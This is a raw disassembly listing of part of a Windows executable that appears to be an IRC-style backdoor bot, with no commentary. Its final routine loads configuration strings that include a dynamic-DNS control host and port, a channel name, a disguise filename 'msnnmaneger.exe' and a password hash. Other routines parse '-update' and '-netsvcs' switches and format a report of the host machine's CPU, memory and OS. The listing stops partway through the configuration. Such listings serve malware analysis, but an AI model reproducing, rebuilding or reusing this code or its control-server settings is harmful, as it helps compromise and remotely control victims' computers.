add edx, eax
mov eax, [esp+1B4h+var_128]
push edx
mov edx, [esp+1B8h+var_124]
push ecx
mov ecx, [esp+1BCh+var_144]
push edx
push eax
mov eax, 804021h
push ebp
mul ecx
sub ecx, edx
mov eax, 804021h
shr ecx, 1
add ecx, edx
shr ecx, 13h
push ecx
mov ecx, [esp+1CCh+var_140]
mul ecx
sub ecx, edx
shr ecx, 1
add ecx, edx
shr ecx, 13h
push ecx
call sub_4017F3
push eax
lea ecx, [esp+1D4h+var_18C]
push offset aCpuDmhz_Memory ; "CPU: %dMHz. Memory: %dMB/%dMB. OS: Win "...
push ecx
call sub_40102D
mov esi, [esp+1DCh+arg_0]
add esp, 38h
lea edx, [esp+1A4h+var_18C]
push edx
mov ecx, esi
call sub_4014C9
mov [esp+1A4h+var_198], 1
lea ecx, [esp+1A4h+var_18C]
mov byte ptr [esp+1A4h+var_4], 0
call sub_401226
mov ecx, [esp+1A4h+var_C]
mov eax, esi
pop edi
pop esi
pop ebp
mov large fs:0, ecx
add esp, 198h
retn 4
sub_406890 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 0A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_406BA0 proc near ; CODE XREF: sub_4015DCj
mov eax, ecx
mov dword ptr [eax], offset off_43E008
mov dword ptr [eax+110h], 0
retn
sub_406BA0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_406BD0: ; CODE XREF: ___:00401F8Cj
push esi
mov esi, ecx
call sub_40143D
test byte ptr [esp+8], 1
jz short loc_406BE8
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_406BE8: ; CODE XREF: ___:00406BDDj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_406C00 proc near ; CODE XREF: sub_40143Dj
mov dword ptr [ecx], offset off_43E008
mov ecx, [ecx+110h]
test ecx, ecx
jz short locret_406C17
push ecx
call sub_4367E2
; ---------------------------------------------------------------------------
pop ecx
locret_406C17: ; CODE XREF: sub_406C00+Ej
retn
sub_406C00 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_406C30 proc near ; CODE XREF: sub_401384j
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_406C30
push eax
mov large fs:0, esp
sub esp, 448h
push ebx
mov ebx, ecx
mov eax, [ebx+110h]
test eax, eax
jz short loc_406C61
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_406C61: ; CODE XREF: sub_406C30+26j
push ebp
push esi
mov esi, [esp+460h+arg_0]
push edi
mov edi, esi
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
push ecx
call sub_4367FA
sub_406C30 endp
; ---------------------------------------------------------------------------
mov edx, eax
mov edi, esi
or ecx, 0FFFFFFFFh
xor eax, eax
mov [ebx+110h], edx
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
mov edi, [ebx+110h]
or ecx, 0FFFFFFFFh
mov byte ptr [ebx+4], 0
mov dword ptr [ebx+5], 0
mov byte ptr [ebx+9], 0
mov byte ptr [ebx+0Ah], 0
mov byte ptr [ebx+0Bh], 0
repne scasb
not ecx
push ecx
call sub_4367FA
; ---------------------------------------------------------------------------
mov edi, [ebx+110h]
mov edx, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov ebp, dword_50FAF4
mov eax, ecx
mov esi, edi
mov edi, edx
push offset asc_443600 ; " "
shr ecx, 2
rep movsd
mov ecx, eax
push edx
and ecx, 3
rep movsb
call ebp ; dword_50FAF4
add esp, 10h
mov [esp+58h], eax
lea esi, [esp+5Ch]
mov edi, 0FFh
loc_406D12: ; CODE XREF: ___:00406D24j
push offset asc_443600 ; " "
push 0
call ebp ; dword_50FAF4
mov [esi], eax
add esp, 8
add esi, 4
dec edi
jnz short loc_406D12
mov eax, [esp+58h]
xor ecx, ecx
cmp eax, ecx
jz loc_406F18
lea ebp, [esp+58h]
loc_406D38: ; CODE XREF: ___:00406F10j
mov edi, [ebp+0]
mov esi, offset dword_4437EC
mov eax, edi
loc_406D42: ; CODE XREF: ___:00406D60j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_406D66
test cl, cl
jz short loc_406D62
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_406D66
add eax, 2
add esi, 2
test cl, cl
jnz short loc_406D42
loc_406D62: ; CODE XREF: ___:00406D4Cj
xor eax, eax
jmp short loc_406D6B
; ---------------------------------------------------------------------------
loc_406D66: ; CODE XREF: ___:00406D48j
; ___:00406D56j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_406D6B: ; CODE XREF: ___:00406D64j
test eax, eax
jz loc_406F08
mov esi, offset aUpdate ; "-update"
mov eax, edi
loc_406D7A: ; CODE XREF: ___:00406D98j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_406D9E
test cl, cl
jz short loc_406D9A
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_406D9E
add eax, 2
add esi, 2
test cl, cl
jnz short loc_406D7A
loc_406D9A: ; CODE XREF: ___:00406D84j
xor eax, eax
jmp short loc_406DA3
; ---------------------------------------------------------------------------
loc_406D9E: ; CODE XREF: ___:00406D80j
; ___:00406D8Ej
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_406DA3: ; CODE XREF: ___:00406D9Cj
test eax, eax
jnz short loc_406DB0
mov byte ptr [ebx+9], 1
jmp loc_406F08
; ---------------------------------------------------------------------------
loc_406DB0: ; CODE XREF: ___:00406DA5j
mov esi, offset aNetsvcs ; "-netsvcs"
mov eax, edi
loc_406DB7: ; CODE XREF: ___:00406DD5j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_406DDB
test cl, cl
jz short loc_406DD7
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_406DDB
add eax, 2
add esi, 2
test cl, cl
jnz short loc_406DB7
loc_406DD7: ; CODE XREF: ___:00406DC1j
xor eax, eax
jmp short loc_406DE0
; ---------------------------------------------------------------------------
loc_406DDB: ; CODE XREF: ___:00406DBDj
; ___:00406DCBj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_406DE0: ; CODE XREF: ___:00406DD9j
test eax, eax
jnz short loc_406DED
mov byte ptr [ebx+0Ah], 1
jmp loc_406F08
; ---------------------------------------------------------------------------
loc_406DED: ; CODE XREF: ___:00406DE2j
mov esi, offset aBai ; "-bai"
mov eax, edi
loc_406DF4: ; CODE XREF: ___:00406E12j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_406E18
test cl, cl
jz short loc_406E14
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_406E18
add eax, 2
add esi, 2
test cl, cl
jnz short loc_406DF4
loc_406E14: ; CODE XREF: ___:00406DFEj
xor eax, eax
jmp short loc_406E1D
; ---------------------------------------------------------------------------
loc_406E18: ; CODE XREF: ___:00406DFAj
; ___:00406E08j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_406E1D: ; CODE XREF: ___:00406E16j
test eax, eax
jnz loc_406F08
lea ecx, [esp+10h]
call sub_401424
mov eax, [esp+468h]
push offset aBai ; "-bai"
push eax
mov dword ptr [esp+468h], 0
call near ptr 77C47C60h
nop
add esp, 8
test eax, eax
jz loc_406EF4
push eax
lea ecx, [esp+14h]
call sub_4015D7
push 1
push offset asc_443600 ; " "
lea ecx, [esp+30h]
push 1
push ecx
lea ecx, [esp+20h]
call sub_4011EA
push offset byte_446F70
mov ecx, eax
mov byte ptr [esp+464h], 1
call sub_4012EE
lea ecx, [esp+28h]
mov esi, eax
mov byte ptr [esp+460h], 0
call sub_401226
test esi, esi
jz short loc_406EF4
push 1
push offset asc_443600 ; " "
lea edx, [esp+48h]
push 1
push edx
lea ecx, [esp+20h]
mov byte ptr [ebx+0Bh], 1
call sub_4011EA
push 104h
mov ecx, eax
mov byte ptr [esp+464h], 2
call sub_401681
push eax
lea eax, [ebx+0Ch]
push eax
call near ptr 77C47A90h
nop
add esp, 0Ch
lea ecx, [esp+40h]
mov byte ptr [esp+460h], 0
call sub_401226
add ebp, 4
loc_406EF4: ; CODE XREF: ___:00406E51j
; ___:00406EA1j
lea ecx, [esp+10h]
mov dword ptr [esp+460h], 0FFFFFFFFh
call sub_401226
loc_406F08: ; CODE XREF: ___:00406D6Dj
; ___:00406DABj ...
mov eax, [ebp+4]
add ebp, 4
test eax, eax
jnz loc_406D38
xor ecx, ecx
loc_406F18: ; CODE XREF: ___:00406D2Ej
mov al, [ebx+4]
pop edi
pop esi
pop ebp
test al, al
jnz short loc_406F25
mov [ebx+5], ecx
loc_406F25: ; CODE XREF: ___:00406F20j
cmp [ebx+5], ecx
jnz short loc_406F35
test al, al
jz short loc_406F35
mov dword ptr [ebx+5], 0Ah
loc_406F35: ; CODE XREF: ___:00406F28j
; ___:00406F2Cj
mov [ebx+5], ecx
mov ecx, [esp+44Ch]
mov byte ptr [ebx+4], 0
pop ebx
mov large fs:0, ecx
add esp, 454h
retn 4
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 0D0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_407030 proc near ; CODE XREF: sub_40209Fj
var_11 = byte ptr -11h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_407030
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
mov [esp+18h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401749
lea eax, [esp+18h+var_11]
lea ecx, [esi+32h]
push eax
mov [esp+1Ch+var_4], 0
call sub_401564
sub_407030 endp
; ---------------------------------------------------------------------------
mov ecx, [esp+0Ch]
mov dword ptr [esi], offset off_43E00C
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4070B0 proc near ; CODE XREF: sub_401591j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
push esi
mov esi, ecx
push eax
mov ecx, [esp+8+arg_0]
call sub_4015D7
mov edx, [esp+4+arg_0]
mov ecx, [esp+4+arg_8]
lea eax, [esp+4+arg_0]
mov [edx+2Ah], ecx
push eax
lea ecx, [esi+32h]
call sub_4014E2
sub_4070B0 endp
; ---------------------------------------------------------------------------
pop esi
retn 0Ch
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4070F0 proc near ; CODE XREF: sub_401AF0j
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
sub esp, 8
push esi
mov esi, ecx
push edi
lea ecx, [esp+10h+var_8]
call sub_401AC3
add esi, 32h
lea eax, [esp+10h+var_4]
push eax
mov ecx, esi
call sub_401622
mov ecx, [eax]
lea edx, [esp+10h+var_4]
mov [esp+10h+var_8], ecx
push edx
mov ecx, esi
call sub_4021BC
push eax
lea ecx, [esp+14h+var_8]
call sub_40183E
test al, al
jz short loc_40716B
mov edi, [esp+10h+arg_0]
loc_407133: ; CODE XREF: sub_4070F0+79j
push edi
lea ecx, [esp+14h+var_8]
call sub_40173F
mov ecx, [eax]
call sub_4012EE
test eax, eax
lea ecx, [esp+10h+var_8]
jz short loc_407175
call sub_401F0A
lea eax, [esp+10h+var_4]
mov ecx, esi
push eax
call sub_4021BC
push eax
lea ecx, [esp+14h+var_8]
call sub_40183E
test al, al
jnz short loc_407133
loc_40716B: ; CODE XREF: sub_4070F0+3Dj
pop edi
xor eax, eax
pop esi
add esp, 8
retn 8
; ---------------------------------------------------------------------------
loc_407175: ; CODE XREF: sub_4070F0+5Aj
call sub_40173F
mov eax, [eax]
pop edi
pop esi
add esp, 8
retn 8
sub_4070F0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4071C0 proc near ; CODE XREF: sub_4021F8j
xor al, al
retn 4
sub_4071C0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4071E0 proc near ; CODE XREF: sub_401564j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_40119F
sub_4071E0 endp
; ---------------------------------------------------------------------------
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407220 proc near ; CODE XREF: sub_401622j
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
push eax
call sub_401A82
mov ecx, [eax]
mov esi, [esp+8+arg_0]
add esp, 4
push ecx
mov ecx, esi
call sub_402185
mov eax, esi
pop esi
retn 4
sub_407220 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407260 proc near ; CODE XREF: sub_4021BCj
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
mov esi, [esp+4+arg_0]
push eax
mov ecx, esi
call sub_402185
mov eax, esi
pop esi
retn 4
sub_407260 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_407290 proc near ; CODE XREF: sub_4014E2j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_4021BC
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_4013B6
sub_407290 endp
; ---------------------------------------------------------------------------
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4072D0 proc near ; CODE XREF: sub_401AC3j
push esi
mov esi, ecx
call sub_401B63
mov eax, esi
pop esi
retn
sub_4072D0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4072F0 proc near ; CODE XREF: sub_40173Fj
mov eax, [ecx]
push eax
call sub_401208
add esp, 4
retn
sub_4072F0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407310 proc near ; CODE XREF: sub_401F0Aj
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_401A82
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_407310 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407340 proc near ; CODE XREF: sub_40183Ej
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401FA0
neg al
sbb eax, eax
inc eax
retn 4
sub_407340 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_407370 proc near ; CODE XREF: sub_4013B6j
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_401C8A
mov edi, eax
push edi
call sub_401C58
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_40119F
sub_407370 endp
; ---------------------------------------------------------------------------
push edi
mov ebx, eax
call sub_401C58
push edi
mov [eax], ebx
call sub_401C58
mov edi, [eax]
push edi
call sub_401C58
mov ecx, [eax]
push ecx
call sub_401A82
mov edx, [esp+28h]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_401208
add esp, 4
mov ecx, esi
push eax
call sub_401672
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
mov esi, [esp+14h]
mov ecx, esi
call sub_402185
mov eax, esi
pop edi
pop esi
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_407410 proc near ; CODE XREF: sub_40119Fj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 0Ch
call sub_4019C9
sub_407410 endp
; ---------------------------------------------------------------------------
mov edi, [esp+0Ch]
mov esi, eax
test edi, edi
jnz short loc_407425
mov edi, esi
loc_407425: ; CODE XREF: ___:00407421j
push esi
call sub_401A82
mov [eax], edi
mov edi, [esp+14h]
add esp, 4
test edi, edi
jnz short loc_40743A
mov edi, esi
loc_40743A: ; CODE XREF: ___:00407436j
push esi
call sub_401C58
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407460 proc near ; CODE XREF: sub_401A82j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_407460 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407480 proc near ; CODE XREF: sub_401208j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_407480 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4074A0 proc near ; CODE XREF: sub_401B63j
mov eax, ecx
retn
sub_4074A0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4074C0 proc near ; CODE XREF: sub_402185j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_4011E5
mov eax, esi
pop esi
retn 4
sub_4074C0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4074F0 proc near ; CODE XREF: sub_401FA0j
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_4074F0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407520 proc near ; CODE XREF: sub_401C58j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_407520 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_407540 proc near ; CODE XREF: sub_4019C9j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401D16
sub_407540 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407570 proc near ; CODE XREF: sub_401672j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_40109B
add esp, 8
retn 8
sub_407570 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4075A0 proc near ; CODE XREF: sub_4011E5j
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_4075A0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4075C0 proc near ; CODE XREF: sub_401C8Aj
mov eax, [ecx]
retn
sub_4075C0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4075E0 proc near ; CODE XREF: sub_401D16j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jge short loc_4075EA
xor eax, eax
loc_4075EA: ; CODE XREF: sub_4075E0+6j
push eax
call sub_4367FA
sub_4075E0 endp
; ---------------------------------------------------------------------------
add esp, 4
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407610 proc near ; CODE XREF: sub_40109Bj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011CC
add esp, 8
test eax, eax
jz short locret_40762B
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_40762B: ; CODE XREF: sub_407610+11j
retn
sub_407610 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407640 proc near ; CODE XREF: sub_4011CCj
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
retn
sub_407640 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_407660 proc near ; CODE XREF: sub_401B2Cj
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = byte ptr 8
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_407660
push eax
mov large fs:0, esp
push 0
push 0
push 0
push 0
lea ecx, [esp+1Ch+arg_4]
mov [esp+1Ch+var_4], 0
call sub_4017E4
push eax
mov eax, [esp+20h+arg_0]
push 0
push eax
mov ecx, offset word_448D16
call sub_401B5E
sub_407660 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov dword ptr [esp+8], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+0]
mov large fs:0, ecx
add esp, 0Ch
retn 1Ch
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4076F0 proc near ; CODE XREF: sub_401CC1j
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_1C = byte ptr 20h
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_4076F0
push eax
mov large fs:0, esp
push 0
push 0
push 0
push 0
lea ecx, [esp+1Ch+arg_1C]
mov [esp+1Ch+var_4], 1
call sub_4017E4
push eax
lea ecx, [esp+20h+arg_4]
call sub_4017E4
push eax
mov eax, [esp+24h+arg_0]
push eax
mov ecx, offset word_448D16
call sub_401B5E
sub_4076F0 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov byte ptr [esp+8], 0
call sub_401226
lea ecx, [esp+2Ch]
mov dword ptr [esp+8], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+0]
mov large fs:0, ecx
add esp, 0Ch
retn 34h
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_407790 proc near ; CODE XREF: sub_40121Cj
var_350 = dword ptr -350h
var_34C = dword ptr -34Ch
var_348 = byte ptr -348h
var_330 = byte ptr -330h
var_318 = byte ptr -318h
var_2F4 = byte ptr -2F4h
var_2DC = byte ptr -2DCh
var_2C4 = byte ptr -2C4h
var_2AC = byte ptr -2ACh
var_294 = byte ptr -294h
var_27C = byte ptr -27Ch
var_264 = byte ptr -264h
var_24C = byte ptr -24Ch
var_234 = byte ptr -234h
var_21C = byte ptr -21Ch
var_204 = byte ptr -204h
var_1EC = byte ptr -1ECh
var_1D4 = byte ptr -1D4h
var_1BC = byte ptr -1BCh
var_1A4 = byte ptr -1A4h
var_18C = byte ptr -18Ch
var_174 = byte ptr -174h
var_15C = byte ptr -15Ch
var_144 = byte ptr -144h
var_114 = byte ptr -114h
var_E4 = byte ptr -0E4h
var_CC = byte ptr -0CCh
var_B4 = byte ptr -0B4h
var_9C = byte ptr -9Ch
var_84 = byte ptr -84h
var_6C = byte ptr -6Ch
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_407790
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 344h
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+35Ch+var_174]
call sub_401424
lea ecx, [esp+35Ch+var_1A4]
mov [esp+35Ch+var_4], 0
call sub_401424
lea ecx, [esp+35Ch+var_1D4]
mov byte ptr [esp+35Ch+var_4], 1
call sub_401424
lea ecx, [esp+35Ch+var_204]
mov byte ptr [esp+35Ch+var_4], 2
call sub_401424
lea ecx, [esp+35Ch+var_2DC]
mov byte ptr [esp+35Ch+var_4], 3
call sub_401424
lea ecx, [esp+35Ch+var_2C4]
mov byte ptr [esp+35Ch+var_4], 4
call sub_401424
lea ecx, [esp+35Ch+var_234]
mov byte ptr [esp+35Ch+var_4], 5
call sub_401424
lea ecx, [esp+35Ch+var_264]
mov byte ptr [esp+35Ch+var_4], 6
call sub_401424
lea ecx, [esp+35Ch+var_2F4]
mov byte ptr [esp+35Ch+var_4], 7
call sub_401424
lea ecx, [esp+35Ch+var_24]
mov byte ptr [esp+35Ch+var_4], 8
call sub_401424
lea ecx, [esp+35Ch+var_54]
mov byte ptr [esp+35Ch+var_4], 9
call sub_401424
lea ecx, [esp+35Ch+var_84]
mov byte ptr [esp+35Ch+var_4], 0Ah
call sub_401424
lea ecx, [esp+35Ch+var_3C]
mov byte ptr [esp+35Ch+var_4], 0Bh
call sub_401424
lea ecx, [esp+35Ch+var_6C]
mov byte ptr [esp+35Ch+var_4], 0Ch
call sub_401424
lea ecx, [esp+35Ch+var_294]
mov byte ptr [esp+35Ch+var_4], 0Dh
call sub_401424
lea ecx, [esp+35Ch+var_15C]
mov byte ptr [esp+35Ch+var_4], 0Eh
call sub_401424
lea ecx, [esp+35Ch+var_114]
mov byte ptr [esp+35Ch+var_4], 0Fh
call sub_401424
lea ecx, [esp+35Ch+var_18C]
mov byte ptr [esp+35Ch+var_4], 10h
call sub_401424
lea ecx, [esp+35Ch+var_144]
mov byte ptr [esp+35Ch+var_4], 11h
call sub_401424
mov byte ptr [esp+35Ch+var_4], 12h
lea ecx, [esp+35Ch+var_1BC]
call sub_401424
lea ecx, [esp+35Ch+var_2AC]
mov byte ptr [esp+35Ch+var_4], 13h
call sub_401424
lea ecx, [esp+35Ch+var_1EC]
mov byte ptr [esp+35Ch+var_4], 14h
call sub_401424
lea ecx, [esp+35Ch+var_CC]
mov byte ptr [esp+35Ch+var_4], 15h
call sub_401424
lea ecx, [esp+35Ch+var_21C]
mov byte ptr [esp+35Ch+var_4], 16h
call sub_401424
lea ecx, [esp+35Ch+var_B4]
mov byte ptr [esp+35Ch+var_4], 17h
call sub_401424
lea ecx, [esp+35Ch+var_24C]
mov byte ptr [esp+35Ch+var_4], 18h
call sub_401424
lea ecx, [esp+35Ch+var_E4]
mov byte ptr [esp+35Ch+var_4], 19h
call sub_401424
lea ecx, [esp+35Ch+var_9C]
mov byte ptr [esp+35Ch+var_4], 1Ah
call sub_401424
lea ecx, [esp+35Ch+var_27C]
mov byte ptr [esp+35Ch+var_4], 1Bh
call sub_401424
lea ecx, [esp+35Ch+var_330]
mov byte ptr [esp+35Ch+var_4], 1Ch
call sub_401424
lea ecx, [esp+35Ch+var_318]
mov byte ptr [esp+35Ch+var_4], 1Dh
call sub_401424
mov bl, 1Eh
push offset aScorti1_dns2go ; "scorti1.dns2go.com"
lea ecx, [esp+360h+var_174]
mov byte ptr [esp+360h+var_4], bl
call sub_401A87
push offset a7000 ; "7000"
lea ecx, [esp+360h+var_1A4]
call sub_401A87
push offset aSaad ; "saad"
lea ecx, [esp+360h+var_2AC]
call sub_401A87
push offset aScorti1_dns2go ; "scorti1.dns2go.com"
lea ecx, [esp+360h+var_1D4]
call sub_401A87
push offset a7000 ; "7000"
lea ecx, [esp+360h+var_204]
call sub_401A87
push offset aSaad ; "saad"
lea ecx, [esp+360h+var_1EC]
call sub_401A87
push offset aScop ; "#scop#"
lea ecx, [esp+360h+var_2DC]
call sub_401A87
push offset aS_1 ; "#s"
lea ecx, [esp+360h+var_27C]
call sub_401A87
push offset aServec ; "servec"
lea ecx, [esp+360h+var_2C4]
call sub_401A87
push offset aMsnnmaneger_ex ; "msnnmaneger.exe"
lea ecx, [esp+360h+var_234]
call sub_401A87
push offset aWintwir ; "wintwir"
lea ecx, [esp+360h+var_264]
call sub_401A87
push offset aHail ; "Hail-"
lea ecx, [esp+360h+var_2F4]
call sub_401A87
push offset aAbosal7 ; "abosal7"
lea ecx, [esp+360h+var_294]
call sub_401A87
push offset aE10adc3949ba59 ; "E10ADC3949BA59ABBE56E057F20F883E"
lea ecx, [esp+360h+var_15C]
call sub_401A87
push offset aAdmin_com ; "admin.com"
lea ecx, [esp+360h+var_114]
call sub_401A87
push offset aTsinternetuser ; "TsInternetUser"
